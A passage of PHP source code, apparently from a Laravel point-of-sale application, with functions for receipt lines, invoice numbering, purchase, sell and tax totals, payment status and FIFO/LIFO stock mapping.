$modifier_line->unit_price, //Fields for 4th column 'line_total' => $this->num_f($modifier_line->unit_price_inc_tax * $line->quantity, false, $business_details), ]; if ($il->show_sku == 1) { $modifier_line_array['sub_sku'] = ! empty($variation->sub_sku) ? $variation->sub_sku : ''; } if ($il->show_cat_code == 1) { $modifier_line_array['cat_code'] = ! empty($cat->short_code) ? $cat->short_code : ''; } if ($il->show_sale_description == 1) { $modifier_line_array['sell_line_note'] = ! empty($line->sell_line_note) ? nl2br($line->sell_line_note) : ''; } $line_array['modifiers'][] = $modifier_line_array; } } $output_lines[] = $line_array; } return ['lines' => $output_lines]; } /** * Returns each line details for sell return invoice display * * @return array */ protected function _receiptDetailsSellReturnLines($lines, $il, $business_details) { $is_lot_number_enabled = $business_details->enable_lot_number; $is_product_expiry_enabled = $business_details->enable_product_expiry; $output_lines = []; $output_taxes = ['taxes' => []]; foreach ($lines as $line) { //Group product taxes by name. $tax_details = TaxRate::find($line->tax_id); // if (!empty($tax_details)) { // if ($tax_details->is_tax_group) { // $group_tax_details = $this->groupTaxDetails($tax_details, $line->quantity_returned * $line->item_tax); // foreach ($group_tax_details as $key => $value) { // if (!isset($output_taxes['taxes'][$key])) { // $output_taxes['taxes'][$key] = 0; // } // $output_taxes['taxes'][$key] += $value; // } // } else { // $tax_name = $tax_details->name; // if (!isset($output_taxes['taxes'][$tax_name])) { // $output_taxes['taxes'][$tax_name] = 0; // } // $output_taxes['taxes'][$tax_name] += ($line->quantity_returned * $line->item_tax); // } // } $product = $line->product; $variation = $line->variations; $unit = $line->product->unit; $brand = $line->product->brand; $cat = $line->product->category; $unit_name = ! empty($unit->short_name) ? $unit->short_name : ''; if (! empty($line->sub_unit->short_name)) { $unit_name = $line->sub_unit->short_name; } $line_array = [ //Field for 1st column 'name' => $product->name, 'variation' => (empty($variation->name) || $variation->name == 'DUMMY') ? '' : $variation->name, //Field for 2nd column 'quantity' => $this->num_f($line->quantity_returned, false, $business_details, true), 'units' => $unit_name, 'unit_price' => $this->num_f($line->unit_price, false, $business_details), 'tax' => $this->num_f($line->item_tax, false, $business_details), 'tax_name' => ! empty($tax_details) ? $tax_details->name : null, //Field for 3rd column 'unit_price_inc_tax' => $this->num_f($line->unit_price_inc_tax, false, $business_details), 'unit_price_exc_tax' => $this->num_f($line->unit_price, false, $business_details), //Fields for 4th column 'line_total' => $this->num_f($line->unit_price_inc_tax * $line->quantity_returned, false, $business_details), ]; $line_array['line_discount'] = 0; //Group product taxes by name. if (! empty($tax_details)) { if ($tax_details->is_tax_group) { $group_tax_details = $this->groupTaxDetails($tax_details, $line->quantity * $line->item_tax); $line_array['group_tax_details'] = $group_tax_details; // foreach ($group_tax_details as $key => $value) { // if (!isset($output_taxes['taxes'][$key])) { // $output_taxes['taxes'][$key] = 0; // } // $output_taxes['taxes'][$key] += $value; // } } // else { // $tax_name = $tax_details->name; // if (!isset($output_taxes['taxes'][$tax_name])) { // $output_taxes['taxes'][$tax_name] = 0; // } // $output_taxes['taxes'][$tax_name] += ($line->quantity * $line->item_tax); // } } if ($il->show_brand == 1) { $line_array['brand'] = ! empty($brand->name) ? $brand->name : ''; } if ($il->show_sku == 1) { $line_array['sub_sku'] = ! empty($variation->sub_sku) ? $variation->sub_sku : ''; } if ($il->show_cat_code == 1) { $line_array['cat_code'] = ! empty($cat->short_code) ? $cat->short_code : ''; } if ($il->show_sale_description == 1) { $line_array['sell_line_note'] = ! empty($line->sell_line_note) ? $line->sell_line_note : ''; } // if ($is_lot_number_enabled == 1 && $il->show_lot == 1) { // $line_array['lot_number'] = !empty($line->lot_details->lot_number) ? $line->lot_details->lot_number : null; // $line_array['lot_number_label'] = __('lang_v1.lot'); // } // if ($is_product_expiry_enabled == 1 && $il->show_expiry == 1) { // $line_array['product_expiry'] = !empty($line->lot_details->exp_date) ? $this->format_date($line->lot_details->exp_date) : null; // $line_array['product_expiry_label'] = __('lang_v1.expiry'); // } $output_lines[] = $line_array; } return ['lines' => $output_lines, 'taxes' => $output_taxes]; } /** * Gives the invoice number for a Final/Draft invoice * * @param int $business_id * @param string $status * @param string $location_id * @return string */ public function getInvoiceNumber($business_id, $status, $location_id, $invoice_scheme_id = null, $sale_type = null) { if ($status == 'final') { if (empty($invoice_scheme_id)) { $scheme = $this->getInvoiceScheme($business_id, $location_id); } else { $scheme = InvoiceScheme::where('business_id', $business_id) ->find($invoice_scheme_id); } if ($scheme->scheme_type == 'blank') { $prefix = $scheme->prefix; } else { $prefix = $scheme->prefix.date('Y').config('constants.invoice_scheme_separator'); } //Count if($scheme->number_type == 'sequential'){ $count = $scheme->start_number + $scheme->invoice_count; } elseif($scheme->number_type == 'random'){ $max = (int)str_pad(1, $scheme->total_digits, '1'); $count = rand(1000, 9*$max); } $count = str_pad($count, $scheme->total_digits, '0', STR_PAD_LEFT); //Prefix + count $invoice_no = $prefix.$count; //Increment the invoice count $scheme->invoice_count = $scheme->invoice_count + 1; $scheme->save(); return $invoice_no; } elseif ($status == 'draft') { $ref_count = $this->setAndGetReferenceCount('draft', $business_id); $invoice_no = $this->generateReferenceNumber('draft', $ref_count, $business_id); return $invoice_no; } elseif ($sale_type == 'sales_order') { $ref_count = $this->setAndGetReferenceCount('sales_order', $business_id); $invoice_no = $this->generateReferenceNumber('sales_order', $ref_count, $business_id); return $invoice_no; } else { return Str::random(5); } } private function getInvoiceScheme($business_id, $location_id) { $scheme_id = BusinessLocation::where('business_id', $business_id) ->where('id', $location_id) ->first() ->invoice_scheme_id; if (! empty($scheme_id) && $scheme_id != 0) { $scheme = InvoiceScheme::find($scheme_id); } //Check if scheme is not found then return default scheme if (empty($scheme)) { $scheme = InvoiceScheme::where('business_id', $business_id) ->where('is_default', 1) ->first(); } return $scheme; } /** * Gives the list of products for a purchase transaction * * @param int $business_id * @param int $transaction_id * @return array */ public function getPurchaseProducts($business_id, $transaction_id) { $products = Transaction::join('purchase_lines as pl', 'transactions.id', '=', 'pl.transaction_id') ->leftjoin('products as p', 'pl.product_id', '=', 'p.id') ->leftjoin('variations as v', 'pl.variation_id', '=', 'v.id') ->where('transactions.business_id', $business_id) ->where('transactions.id', $transaction_id) ->where('transactions.type', 'purchase') ->select('p.id as product_id', 'p.name as product_name', 'v.id as variation_id', 'v.name as variation_name', 'pl.quantity as quantity', 'pl.exp_date', 'pl.lot_number') ->get(); return $products; } /** * Gives the total purchase amount for a business within the date range passed * * @param int $business_id * @param int $transaction_id * @return array */ public function getPurchaseTotals($business_id, $start_date = null, $end_date = null, $location_id = null, $user_id = null, $permitted_locations = null) { $query = Transaction::where('business_id', $business_id) ->where('type', 'purchase') ->select( DB::raw('SUM(final_total) as final_total_sum'), //DB::raw("SUM(final_total - tax_amount) as total_exc_tax"), DB::raw('SUM((SELECT COALESCE(SUM(tp.amount), 0) FROM transaction_payments as tp WHERE tp.transaction_id=transactions.id)) as total_paid'), DB::raw('SUM(total_before_tax) as total_before_tax_sum'), DB::raw('SUM(shipping_charges) as total_shipping_charges'), DB::raw('SUM(additional_expense_value_1 + additional_expense_value_2 + additional_expense_value_3 + additional_expense_value_4) as total_expense') ); //Check for permitted locations of a user if(!empty($permitted_locations)) { if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } } if (! empty($start_date) && ! empty($end_date)) { $query->whereDate('transaction_date', '>=', $start_date) ->whereDate('transaction_date', '<=', $end_date); } if (empty($start_date) && ! empty($end_date)) { $query->whereDate('transaction_date', '<=', $end_date); } //Filter by the location if (! empty($location_id)) { $query->where('transactions.location_id', $location_id); } //Filter by the location if (! empty($user_id)) { $query->where('transactions.created_by', $user_id); } $purchase_details = $query->first(); $output['total_purchase_inc_tax'] = $purchase_details->final_total_sum; //$output['total_purchase_exc_tax'] = $purchase_details->sum('total_exc_tax'); $output['total_purchase_exc_tax'] = $purchase_details->total_before_tax_sum; $output['purchase_due'] = $purchase_details->final_total_sum - $purchase_details->total_paid; $output['total_shipping_charges'] = $purchase_details->total_shipping_charges; $output['total_additional_expense'] = $purchase_details->total_expense; return $output; } public function getTotalPurchaseReturnPaid($business_id, $start_date = null, $end_date = null, $location_id = null, $created_by = null) { $query = TransactionPayment::join('transactions as t', 't.id', 'transaction_payments.transaction_id') ->where('t.type', 'purchase_return') ->where('t.business_id', $business_id) ->select( DB::raw('SUM(transaction_payments.amount) as total_paid') ); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('t.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query->whereDate('t.transaction_date', '>=', $start_date) ->whereDate('t.transaction_date', '<=', $end_date); } if (empty($start_date) && ! empty($end_date)) { $query->whereDate('t.transaction_date', '<=', $end_date); } //Filter by the location if (! empty($location_id)) { $query->where('t.location_id', $location_id); } if (! empty($created_by)) { $query->where('t.created_by', $created_by); } $total_purchase_return_paid = $query->first()->total_paid ?? 0; return $total_purchase_return_paid; } public function getTotalSellReturnPaid($business_id, $start_date = null, $end_date = null, $location_id = null, $created_by = null) { $query = TransactionPayment::join('transactions as t', 't.id', 'transaction_payments.transaction_id') ->where('t.type', 'sell_return') ->where('t.business_id', $business_id) ->select( DB::raw('SUM(transaction_payments.amount) as total_paid') ); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('t.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query->whereDate('t.transaction_date', '>=', $start_date) ->whereDate('t.transaction_date', '<=', $end_date); } if (empty($start_date) && ! empty($end_date)) { $query->whereDate('t.transaction_date', '<=', $end_date); } //Filter by the location if (! empty($location_id)) { $query->where('t.location_id', $location_id); } if (! empty($created_by)) { $query->where('t.created_by', $created_by); } $total_sell_return_paid = $query->first()->total_paid ?? 0; return $total_sell_return_paid; } /** * Gives the total sell amount for a business within the date range passed * * @param int $business_id * @param int $transaction_id * @return array */ public function getSellTotals($business_id, $start_date = null, $end_date = null, $location_id = null, $created_by = null, $permitted_locations = null) { $query = Transaction::where('transactions.business_id', $business_id) ->where('transactions.type', 'sell') ->where('transactions.status', 'final') ->select( DB::raw('SUM(final_total) as total_sell'), DB::raw('SUM(final_total - tax_amount) as total_exc_tax'), DB::raw('SUM(final_total - (SELECT COALESCE(SUM(IF(tp.is_return = 1, -1*tp.amount, tp.amount)), 0) FROM transaction_payments as tp WHERE tp.transaction_id = transactions.id) ) as total_due'), DB::raw('SUM(total_before_tax) as total_before_tax'), DB::raw('SUM(shipping_charges) as total_shipping_charges'), DB::raw('SUM(additional_expense_value_1 + additional_expense_value_2 + additional_expense_value_3 + additional_expense_value_4) as total_expense') ); //Check for permitted locations of a user if(!empty($permitted_locations)) { if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } } if (! empty($start_date) && ! empty($end_date)) { $query->whereDate('transactions.transaction_date', '>=', $start_date) ->whereDate('transactions.transaction_date', '<=', $end_date); } if (empty($start_date) && ! empty($end_date)) { $query->whereDate('transactions.transaction_date', '<=', $end_date); } //Filter by the location if (! empty($location_id)) { $query->where('transactions.location_id', $location_id); } if (! empty($created_by)) { $query->where('transactions.created_by', $created_by); } $sell_details = $query->first(); $output['total_sell_inc_tax'] = $sell_details->total_sell; //$output['total_sell_exc_tax'] = $sell_details->sum('total_exc_tax'); $output['total_sell_exc_tax'] = $sell_details->total_before_tax; $output['invoice_due'] = $sell_details->total_due; $output['total_shipping_charges'] = $sell_details->total_shipping_charges; $output['total_additional_expense'] = $sell_details->total_expense; return $output; } public function getTotalLedgerDiscount($business_id, $start_date = null, $end_date = null) { $query = Transaction::where('transactions.business_id', $business_id) ->where('transactions.type', 'ledger_discount') ->where('transactions.status', 'final') ->select( DB::raw('SUM(IF(sub_type="sell_discount", final_total, 0)) as total_sell_discount'), DB::raw('SUM(IF(sub_type="purchase_discount", final_total, 0)) as total_purchase_discount') ); if (! empty($start_date) && ! empty($end_date)) { $query->whereDate('transactions.transaction_date', '>=', $start_date) ->whereDate('transactions.transaction_date', '<=', $end_date); } if (empty($start_date) && ! empty($end_date)) { $query->whereDate('transactions.transaction_date', '<=', $end_date); } $sell_details = $query->first(); $output['total_sell_discount'] = $sell_details->total_sell_discount; $output['total_purchase_discount'] = $sell_details->total_purchase_discount; return $output; } /** * Gives the total input tax for a business within the date range passed * * @param int $business_id * @param string $start_date default null * @param string $end_date default null * @return float */ public function getInputTax($business_id, $start_date = null, $end_date = null, $location_id = null, $contact_id = null) { //Calculate purchase taxes $query1 = Transaction::where('transactions.business_id', $business_id) ->leftjoin('tax_rates as T', 'transactions.tax_id', '=', 'T.id') ->whereIn('type', ['purchase', 'purchase_return']) ->whereNotNull('transactions.tax_id') ->select( DB::raw("SUM( IF(type='purchase', transactions.tax_amount, -1 * transactions.tax_amount) ) as transaction_tax"), 'T.name as tax_name', 'T.id as tax_id', 'T.is_tax_group' ); //Calculate purchase line taxes $query2 = Transaction::where('transactions.business_id', $business_id) ->leftjoin('purchase_lines as pl', 'transactions.id', '=', 'pl.transaction_id') ->leftjoin('tax_rates as T', 'pl.tax_id', '=', 'T.id') ->where('type', 'purchase') ->whereNotNull('pl.tax_id') ->select( DB::raw('SUM( (pl.quantity - pl.quantity_returned) * pl.item_tax ) as product_tax'), 'T.name as tax_name', 'T.id as tax_id', 'T.is_tax_group' ); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query1->whereIn('transactions.location_id', $permitted_locations); $query2->whereIn('transactions.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query1->whereBetween(DB::raw('date(transaction_date)'), [$start_date, $end_date]); $query2->whereBetween(DB::raw('date(transaction_date)'), [$start_date, $end_date]); } if (! empty($location_id)) { $query1->where('transactions.location_id', $location_id); $query2->where('transactions.location_id', $location_id); } if (! empty($contact_id)) { $query1->where('transactions.contact_id', $contact_id); $query2->where('transactions.contact_id', $contact_id); } $transaction_tax_details = $query1->groupBy('T.id') ->get(); $product_tax_details = $query2->groupBy('T.id') ->get(); $tax_details = []; foreach ($transaction_tax_details as $transaction_tax) { $tax_details[$transaction_tax->tax_id]['tax_name'] = $transaction_tax->tax_name; $tax_details[$transaction_tax->tax_id]['tax_amount'] = $transaction_tax->transaction_tax; $tax_details[$transaction_tax->tax_id]['is_tax_group'] = false; if ($transaction_tax->is_tax_group == 1) { $tax_details[$transaction_tax->tax_id]['is_tax_group'] = true; } } foreach ($product_tax_details as $product_tax) { if (! isset($tax_details[$product_tax->tax_id])) { $tax_details[$product_tax->tax_id]['tax_name'] = $product_tax->tax_name; $tax_details[$product_tax->tax_id]['tax_amount'] = $product_tax->product_tax; $tax_details[$product_tax->tax_id]['is_tax_group'] = false; if ($product_tax->is_tax_group == 1) { $tax_details[$product_tax->tax_id]['is_tax_group'] = true; } } else { $tax_details[$product_tax->tax_id]['tax_amount'] += $product_tax->product_tax; } } //If group tax add group tax details foreach ($tax_details as $key => $value) { if ($value['is_tax_group']) { $tax_details[$key]['group_tax_details'] = $this->groupTaxDetails($key, $value['tax_amount']); } } $output['tax_details'] = $tax_details; $output['total_tax'] = $transaction_tax_details->sum('transaction_tax') + $product_tax_details->sum('product_tax'); return $output; } /** * Gives the total output tax for a business within the date range passed * * @param int $business_id * @param string $start_date default null * @param string $end_date default null * @return float */ public function getOutputTax($business_id, $start_date = null, $end_date = null, $location_id = null, $contact_id = null) { //Calculate sell taxes $query1 = Transaction::where('transactions.business_id', $business_id) ->leftjoin('tax_rates as T', 'transactions.tax_id', '=', 'T.id') ->whereIn('type', ['sell', 'sell_return']) ->whereNotNull('transactions.tax_id') ->where('transactions.status', '=', 'final') ->select( DB::raw("SUM( IF(type='sell', transactions.tax_amount, -1 * transactions.tax_amount) ) as transaction_tax"), 'T.name as tax_name', 'T.id as tax_id', 'T.is_tax_group' ); //Calculate sell line taxes $query2 = Transaction::where('transactions.business_id', $business_id) ->leftjoin('transaction_sell_lines as tsl', 'transactions.id', '=', 'tsl.transaction_id') ->leftjoin('tax_rates as T', 'tsl.tax_id', '=', 'T.id') ->where('type', 'sell') ->whereNotNull('tsl.tax_id') ->where('transactions.status', '=', 'final') ->select( DB::raw('SUM( (tsl.quantity - tsl.quantity_returned) * tsl.item_tax ) as product_tax'), 'T.name as tax_name', 'T.id as tax_id', 'T.is_tax_group' ); ///Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query1->whereIn('transactions.location_id', $permitted_locations); $query2->whereIn('transactions.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query1->whereBetween(DB::raw('date(transaction_date)'), [$start_date, $end_date]); $query2->whereBetween(DB::raw('date(transaction_date)'), [$start_date, $end_date]); } if (! empty($location_id)) { $query1->where('transactions.location_id', $location_id); $query2->where('transactions.location_id', $location_id); } if (! empty($contact_id)) { $query1->where('transactions.contact_id', $contact_id); $query2->where('transactions.contact_id', $contact_id); } $transaction_tax_details = $query1->groupBy('T.id') ->get(); $product_tax_details = $query2->groupBy('T.id') ->get(); $tax_details = []; foreach ($transaction_tax_details as $transaction_tax) { $tax_details[$transaction_tax->tax_id]['tax_name'] = $transaction_tax->tax_name; $tax_details[$transaction_tax->tax_id]['tax_amount'] = $transaction_tax->transaction_tax; $tax_details[$transaction_tax->tax_id]['is_tax_group'] = false; if ($transaction_tax->is_tax_group == 1) { $tax_details[$transaction_tax->tax_id]['is_tax_group'] = true; } } foreach ($product_tax_details as $product_tax) { if (! isset($tax_details[$product_tax->tax_id])) { $tax_details[$product_tax->tax_id]['tax_name'] = $product_tax->tax_name; $tax_details[$product_tax->tax_id]['tax_amount'] = $product_tax->product_tax; $tax_details[$product_tax->tax_id]['is_tax_group'] = false; if ($product_tax->is_tax_group == 1) { $tax_details[$product_tax->tax_id]['is_tax_group'] = true; } } else { $tax_details[$product_tax->tax_id]['tax_amount'] += $product_tax->product_tax; } } //If group tax add group tax details // foreach ($tax_details as $key => $value) { // if ($value['is_tax_group']) { // $tax_details[$key]['group_tax_details'] = $this->groupTaxDetails($key, $value['tax_amount']); // } // } $output['tax_details'] = $tax_details; $output['total_tax'] = $transaction_tax_details->sum('transaction_tax') + $product_tax_details->sum('product_tax'); return $output; } /** * Gives the total expense tax for a business within the date range passed * * @param int $business_id * @param string $start_date default null * @param string $end_date default null * @return float */ public function getExpenseTax($business_id, $start_date = null, $end_date = null, $location_id = null, $contact_id = null) { //Calculate expense taxes $query = Transaction::where('transactions.business_id', $business_id) ->leftjoin('tax_rates as T', 'transactions.tax_id', '=', 'T.id') ->where('type', 'expense') ->whereNotNull('transactions.tax_id') ->select( DB::raw('SUM(transactions.tax_amount) as transaction_tax'), 'T.name as tax_name', 'T.id as tax_id', 'T.is_tax_group' ); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query->whereBetween(DB::raw('date(transaction_date)'), [$start_date, $end_date]); } if (! empty($location_id)) { $query->where('transactions.location_id', $location_id); } if (! empty($contact_id)) { $query->where('transactions.contact_id', $contact_id); } $transaction_tax_details = $query->groupBy('T.id') ->get(); $tax_details = []; foreach ($transaction_tax_details as $transaction_tax) { $tax_details[$transaction_tax->tax_id]['tax_name'] = $transaction_tax->tax_name; $tax_details[$transaction_tax->tax_id]['tax_amount'] = $transaction_tax->transaction_tax; $tax_details[$transaction_tax->tax_id]['is_tax_group'] = false; if ($transaction_tax->is_tax_group == 1) { $tax_details[$transaction_tax->tax_id]['is_tax_group'] = true; } } //If group tax add group tax details foreach ($tax_details as $key => $value) { if ($value['is_tax_group']) { $tax_details[$key]['group_tax_details'] = $this->groupTaxDetails($key, $value['tax_amount']); } } $output['tax_details'] = $tax_details; $output['total_tax'] = $transaction_tax_details->sum('transaction_tax'); return $output; } /** * Gives total sells of current FY month-wise * * @param int $business_id * @param string $start * @param string $end * @return Obj */ public function getSellsCurrentFy($business_id, $start, $end) { $query = Transaction::leftjoin('transactions as SR', function ($join) { $join->on('SR.return_parent_id', '=', 'transactions.id') ->where('SR.type', 'sell_return'); }) ->where('transactions.business_id', $business_id) ->where('transactions.type', 'sell') ->where('transactions.status', 'final') ->whereBetween('transactions.transaction_date', [$start, $end]); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } $query->select( DB::raw("DATE_FORMAT(transactions.transaction_date, '%m-%Y') as yearmonth"), DB::raw('SUM( transactions.final_total - COALESCE(SR.final_total, 0)) as total_sells'), DB::raw("DATE_FORMAT(transactions.transaction_date, '%Y-%m-%d') as date"), 'transactions.location_id' )->groupBy('transactions.location_id') ->groupBy(DB::raw('date(transactions.transaction_date)')); $sells = $query->get(); return $sells; } /** * Retrives expense report * * @param int $business_id * @param array $filters * @param string $type = by_category (by_category or total) * @return Obj */ public function getExpenseReport( $business_id, $filters = [], $type = 'by_category' ) { $query = Transaction::leftjoin('expense_categories AS ec', 'transactions.expense_category_id', '=', 'ec.id') ->where('transactions.business_id', $business_id) ->whereIn('type', ['expense', 'expense_refund']); // ->where('payment_status', 'paid'); if(!empty($permitted_locations)){ if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } } if (! empty($filters['location_id'])) { $query->where('transactions.location_id', $filters['location_id']); } if (! empty($filters['created_by'])) { $query->where('transactions.created_by', $filters['created_by']); } if (! empty($filters['expense_for'])) { $query->where('transactions.expense_for', $filters['expense_for']); } if (! empty($filters['category'])) { $query->where('ec.id', $filters['category']); } if (! empty($filters['start_date']) && ! empty($filters['end_date'])) { $query->whereBetween(DB::raw('date(transaction_date)'), [$filters['start_date'], $filters['end_date'], ]); } //Check tht type of report and return data accordingly if ($type == 'by_category') { $expenses = $query->select( DB::raw("SUM( IF(transactions.type='expense_refund', -1 * final_total, final_total) ) as total_expense"), 'ec.name as category' ) ->groupBy('expense_category_id') ->get(); } elseif ($type == 'total') { $expenses = $query->select( DB::raw("SUM( IF(transactions.type='expense_refund', -1 * final_total, final_total) ) as total_expense") ) ->first(); } return $expenses; } /** * Get total paid amount for a transaction * * @param int $transaction_id * @return int */ public function getTotalPaid($transaction_id) { $total_paid = TransactionPayment::where('transaction_id', $transaction_id) ->select(DB::raw('SUM(IF( is_return = 0, amount, amount*-1))as total_paid')) ->first() ->total_paid; return $total_paid; } /** * Calculates the payment status and returns back. * * @param int $transaction_id * @param float $final_amount = null * @return string */ public function calculatePaymentStatus($transaction_id, $final_amount = null) { $total_paid = $this->getTotalPaid($transaction_id); if (is_null($final_amount)) { $final_amount = Transaction::find($transaction_id)->final_total; } $status = 'due'; if ($final_amount <= $total_paid) { $status = 'paid'; } elseif ($total_paid > 0 && $final_amount > $total_paid) { $status = 'partial'; } return $status; } /** * Update the payment status for purchase or sell transactions. Returns * the status * * @param int $transaction_id * @return string */ public function updatePaymentStatus($transaction_id, $final_amount = null) { $status = $this->calculatePaymentStatus($transaction_id, $final_amount); $transaction = Transaction::find($transaction_id); $transaction->payment_status = $status; $transaction->save(); $moduleUtil = new ModuleUtil(); $moduleUtil->getModuleData('after_payment_status_updated', ['transaction' => $transaction]); return $status; } /** * Purchase currency details * * @param int $business_id * @return object */ public function purchaseCurrencyDetails($business_id) { $business = Business::find($business_id); $output = ['purchase_in_diff_currency' => false, 'p_exchange_rate' => 1, 'decimal_seperator' => '.', 'thousand_seperator' => ',', 'symbol' => '', ]; //Check if diff currency is used or not. if ($business->purchase_in_diff_currency == 1) { $output['purchase_in_diff_currency'] = true; $output['p_exchange_rate'] = $business->p_exchange_rate; $currency_id = $business->purchase_currency_id; } else { $output['purchase_in_diff_currency'] = false; $output['p_exchange_rate'] = 1; $currency_id = $business->currency_id; } $currency = Currency::find($currency_id); $output['thousand_separator'] = $currency->thousand_separator; $output['decimal_separator'] = $currency->decimal_separator; $output['symbol'] = $currency->symbol; $output['code'] = $currency->code; $output['name'] = $currency->currency; return (object) $output; } /** * Pay contact due at once * * @param obj $parent_payment, string $type * @return void */ public function payAtOnce($parent_payment, $type) { //Get all unpaid transaction for the contact $types = ['opening_balance', $type]; if ($type == 'purchase_return') { $types = [$type]; } $due_transactions = Transaction::where('contact_id', $parent_payment->payment_for) ->whereIn('type', $types) ->where('payment_status', '!=', 'paid') ->orderBy('transaction_date', 'asc') ->get(); $total_amount = $parent_payment->amount; $tranaction_payments = []; if ($due_transactions->count()) { foreach ($due_transactions as $transaction) { $transaction_before = $transaction->replicate(); //If sell check status is final if ($transaction->type == 'sell' && $transaction->status != 'final') { continue; } if ($total_amount > 0) { $total_paid = $this->getTotalPaid($transaction->id); $due = $transaction->final_total - $total_paid; $now = \Carbon::now()->toDateTimeString(); $array = [ 'transaction_id' => $transaction->id, 'business_id' => $parent_payment->business_id, 'method' => $parent_payment->method, 'transaction_no' => $parent_payment->method, 'card_transaction_number' => $parent_payment->card_transaction_number, 'card_number' => $parent_payment->card_number, 'card_type' => $parent_payment->card_type, 'card_holder_name' => $parent_payment->card_holder_name, 'card_month' => $parent_payment->card_month, 'card_year' => $parent_payment->card_year, 'card_security' => $parent_payment->card_security, 'cheque_number' => $parent_payment->cheque_number, 'bank_account_number' => $parent_payment->bank_account_number, 'paid_on' => $parent_payment->paid_on, 'created_by' => $parent_payment->created_by, 'payment_for' => $parent_payment->payment_for, 'parent_id' => $parent_payment->id, 'created_at' => $now, 'updated_at' => $now, ]; $prefix_type = 'purchase_payment'; if (in_array($transaction->type, ['sell', 'sell_return'])) { $prefix_type = 'sell_payment'; } $ref_count = $this->setAndGetReferenceCount($prefix_type, $parent_payment->business_id); //Generate reference number $payment_ref_no = $this->generateReferenceNumber($prefix_type, $ref_count, $parent_payment->business_id); $array['payment_ref_no'] = $payment_ref_no; if ($due <= $total_amount) { $array['amount'] = $due; $tranaction_payments[] = $array; //Update transaction status to paid $transaction->payment_status = 'paid'; $transaction->save(); if ($transaction->type == 'sell') { $moduleUtil = new ModuleUtil(); $moduleUtil->getModuleData('after_sale_saved', ['transaction' => $transaction, 'input' => []]); } $total_amount = $total_amount - $due; $this->activityLog($transaction, 'payment_edited', $transaction_before); } else { $array['amount'] = $total_amount; $tranaction_payments[] = $array; //Update transaction status to partial $transaction->payment_status = 'partial'; $transaction->save(); $total_amount = 0; $this->activityLog($transaction, 'payment_edited', $transaction_before); break; } } } //Insert new transaction payments if (! empty($tranaction_payments)) { TransactionPayment::insert($tranaction_payments); } } return $total_amount; } /** * Add a mapping between purchase & sell lines. * NOTE: Don't use request variable here, request variable don't exist while adding * dummybusiness via command line * * @param array $business * @param array $transaction_lines * @param string $mapping_type = purchase (purchase or stock_adjustment) * @param bool $check_expiry = true * @param int $purchase_line_id (default: null) * @return object */ public function mapPurchaseSell($business, $transaction_lines, $mapping_type = 'purchase', $check_expiry = true, $purchase_line_id = null) { if (empty($transaction_lines)) { return false; } if (! empty($business['pos_settings']) && ! is_array($business['pos_settings'])) { $business['pos_settings'] = json_decode($business['pos_settings'], true); } $allow_overselling = ! empty($business['pos_settings']['allow_overselling']) ? true : false; //Set flag to check for expired items during SELLING only. $stop_selling_expired = false; if ($check_expiry) { if (session()->has('business') && request()->session()->get('business')['enable_product_expiry'] == 1 && request()->session()->get('business')['on_product_expiry'] == 'stop_selling') { if ($mapping_type == 'purchase') { $stop_selling_expired = true; } } } $qty_selling = null; foreach ($transaction_lines as $line) { //Check if stock is not enabled then no need to assign purchase & sell $product = Product::find($line->product_id); if (empty($product) || $product->enable_stock != 1) { continue; } $qty_sum_query = $this->get_pl_quantity_sum_string('PL'); //Get purchase lines, only for products with enable stock. $query = Transaction::join('purchase_lines AS PL', 'transactions.id', '=', 'PL.transaction_id') ->where('transactions.business_id', $business['id']) ->where('transactions.location_id', $business['location_id']) ->whereIn('transactions.type', ['purchase', 'purchase_transfer', 'opening_stock', 'production_purchase', ]) ->where('transactions.status', 'received') ->whereRaw("( $qty_sum_query ) < PL.quantity") ->where('PL.product_id', $line->product_id) ->where('PL.variation_id', $line->variation_id); //If product expiry is enabled then check for on expiry conditions if ($stop_selling_expired && empty($purchase_line_id)) { $stop_before = request()->session()->get('business')['stop_selling_before']; $expiry_date = \Carbon::today()->addDays($stop_before)->toDateString(); $query->where(function ($q) use ($expiry_date) { $q->whereNull('PL.exp_date') ->orWhereRaw('PL.exp_date > ?', [$expiry_date]); }); } //If lot number present consider only lot number purchase line if (! empty($line->lot_no_line_id)) { $query->where('PL.id', $line->lot_no_line_id); } //If purchase_line_id is given consider only that purchase line if (! empty($purchase_line_id)) { $query->where('PL.id', $purchase_line_id); } //Sort according to LIFO or FIFO if ($business['accounting_method'] == 'lifo') { $query = $query->orderBy('transaction_date', 'desc'); } else { $query = $query->orderBy('transaction_date', 'asc'); } $rows = $query->select( 'PL.id as purchase_lines_id', DB::raw("(PL.quantity - ( $qty_sum_query )) AS quantity_available"), 'PL.quantity_sold as quantity_sold', 'PL.quantity_adjusted as quantity_adjusted', 'PL.quantity_returned as quantity_returned', 'PL.mfg_quantity_used as mfg_quantity_used', 'transactions.invoice_no' )->get(); $purchase_sell_map = []; //Iterate over the rows, assign the purchase line to sell lines. $qty_selling = $line->quantity; foreach ($rows as $k => $row) { $qty_allocated = 0; //Check if qty_available is more or equal if ($qty_selling <= $row->quantity_available) { $qty_allocated = $qty_selling; $qty_selling = 0; } else { $qty_selling = $qty_selling - $row->quantity_available; $qty_allocated = $row->quantity_available; } //Check for sell mapping or stock adjsutment mapping if ($mapping_type == 'stock_adjustment') { //Mapping of stock adjustment if ($qty_allocated != 0) { $purchase_adjustment_map[] = ['stock_adjustment_line_id' => $line->id, 'purchase_line_id' => 